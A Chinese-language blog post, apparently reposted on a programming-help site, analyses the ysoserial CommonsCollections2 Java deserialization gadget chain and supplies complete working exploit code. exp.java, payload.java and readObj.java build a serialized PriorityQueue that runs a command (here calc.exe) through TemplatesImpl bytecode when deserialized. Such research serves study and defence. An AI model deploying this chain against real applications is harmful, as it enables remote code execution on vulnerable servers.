java反序列化-ysoserial-调试分析总结篇(2)

本文主要是介绍java反序列化-ysoserial-调试分析总结篇(2)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

前言：

不格小说网 https://m.vbuge.com

这篇主要分析commonCollections2，调用链如下图所示：

调用链分析：

分析环境：jdk1.8.0

反序列化的入口点为src.zip!/java/util/PriorityQueue.java

此时将会对队列调用siftdown函数，其中队列中包含了两个元素，其中一个即为templatesImpl恶意类

接下来调用siftDownUsingConparator函数

在这里将调用TransformingComparator的compare函数，在这里就到了新的漏洞触发点，this.transformer.transform()，而这里的this.transformer即为invokerTransformer，

在commoncollections1中第一次调用的是Lazymap的this.factory.transform,而这里是priorityQueue.java的compare里的this.transformer.transform

而invokeTransformer中将反射调用，templatesImple的newTranformer方法，以前分析fastjson1.2.24时候也用的是这个内置的TemplatesImple类，其有getoutputProperties也将调用newTransformer()

接着套路思路就是在newTransformer中实例化我们的恶意字节码中包含的类，从而调用其static代码块或者构造方法中的rce代码

ysoserial-exp构造

分析完调用链以后看看ysoserial是如何构造payload的

首先创建TemplatesImpl实例

Class.forName加载三个需要用到的类，然后调用重载的TemplatesImpl来创建实例，这里用到的技术是javassist操作类的字节码

接下来要对我们_bytecode字段所要存储的恶意字节码类进行操作，这里首先将两个类放到pool中

其中SubTransletpaylod就是存放rce代码的类

接下来从pool中取出要操作的类，来操作其字节码

接下来该类创建static代码块，并且加入rce的代码，这里的代码可以自定义，读写文件也可以

然后给该类重新设置名字，其实这个可以省略，接下来给该类设置父类为tranlet，其实这里也可以不设置，payload类里已经设置好了

之后将rce类的字节码放到_bytecodes属性中，再设置其他依赖属性_name和_tfactory即可返回templatesImpl类

接着定义需要反射调用的方法，这里首先用tostring进行填充，后面再放入newtransformer，声明要反序列化的队列priorityQueue，容量为2

然后反射设置invoketransformer的方法为newtransformer来替换原来的tostring，然后再将queue中的两个元素替换成templatesImpl类的实例，从而结束整个构造过程，因此构造分为三步

1.构造用于执行rce的类

2.构造templatesImpl类的实例，将1中的类填充

3.将2中的类填充到priorityqueue队列中，返回obj

手动编写exp：

exp.java

package CommonCollections2;import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class exp {public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException {TemplatesImpl tmp = new TemplatesImpl();ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(payload.class));CtClass clazz = pool.get(payload.class.getName());final byte[] clazzByte = clazz.toBytecode();//_bytecode为private，需要设置可访问Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes");_btcode.setAccessible(true);_btcode.set(tmp,new byte[][]{clazzByte});//_name不为空即可Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(tmp,"tr1ple");//_tfactory可为空Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory");_tf.setAccessible(true);_tf.set(tmp,null);////构造priorityqueue对象//
        PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);//InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //调用该方法一样的效果//依赖collections4TransformingComparator com = new TransformingComparator(trans);Field ComFi = PriorityQueue.class.getDeclaredField("comparator");ComFi.setAccessible(true);ComFi.set(queue,com);Field qu = PriorityQueue.class.getDeclaredField("queue");qu.setAccessible(true);Object[] objOutput = (Object[])qu.get(queue);objOutput[0] = tmp;objOutput[1] = 1;//序列化
        File file;file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser");OutputStream out = new FileOutputStream(file);ObjectOutputStream obj = new ObjectOutputStream(out);obj.writeObject(queue);obj.close();}
}

payload.java

package CommonCollections2;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;
import java.io.Serializable;public class payload extends AbstractTranslet  implements Serializable {{try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}public payload(){System.out.println("tr1ple 2333");}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

readObj.java

package CommonCollections2;import java.io.*;public class readObj {public static void main(String[] args) {try {FileInputStream fio = new FileInputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"));ObjectInputStream obj = new ObjectInputStream(fio);obj.readObject();obj.close();} catch (FileNotFoundException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();}}
}